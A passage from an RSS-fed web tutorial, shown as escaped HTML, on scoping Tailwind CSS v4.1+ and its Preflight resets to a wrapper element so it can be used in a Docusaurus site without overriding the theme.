&lt;span class="k"&gt;@custom-variant&lt;/span&gt; &lt;span class="n"&gt;dark&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;is&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;data-theme&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;"dark"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  ✅ Step 5: Wrap Your Tailwind Components
&lt;/h2&gt;

&lt;p&gt;Now, when building React components that use Tailwind, just wrap them with a container that has the &lt;code&gt;id="tw-scope"&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;MyComponent&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"tw-scope"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt; &lt;span class="na"&gt;className&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"bg-blue-500 text-white p-4 rounded-lg"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
        This part uses Tailwind CSS!
      &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  💡 Why We Scope Preflight
&lt;/h2&gt;

&lt;p&gt;Tailwind’s &lt;strong&gt;Preflight&lt;/strong&gt; (its base layer of resets) applies global styles to elements like &lt;code&gt;h1&lt;/code&gt;, &lt;code&gt;button&lt;/code&gt;, &lt;code&gt;a&lt;/code&gt;, etc. If left unscoped, it &lt;strong&gt;will override&lt;/strong&gt; Docusaurus’s built-in theme and cause unexpected layout bugs.&lt;/p&gt;

&lt;p&gt;By wrapping Preflight inside:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="k"&gt;@layer&lt;/span&gt; &lt;span class="n"&gt;base&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;#tw-scope&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="err"&gt;@import&lt;/span&gt; &lt;span class="err"&gt;"tailwindcss/preflight.css"&lt;/span&gt; &lt;span class="err"&gt;layer(base);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;…we ensure that Tailwind's resets &lt;strong&gt;only apply inside &lt;code&gt;#tw-scope&lt;/code&gt;&lt;/strong&gt;, keeping the rest of your Docusaurus site safe.&lt;/p&gt;

&lt;h2&gt;
  
  
  🧵 Final Thoughts
&lt;/h2&gt;

&lt;p&gt;This setup lets you &lt;strong&gt;fully use Tailwind v4.1+&lt;/strong&gt; inside Docusaurus, but in a &lt;strong&gt;controlled&lt;/strong&gt; way. You can design custom components, pages, or layouts with Tailwind without worrying about it interfering with Docusaurus styles.&lt;/p&gt;

&lt;p&gt;If you found this useful, feel free to share it. Hopefully it saves others some hours of time :)&lt;/p&gt;

</description>
    </item>
  </channel>
</rss>
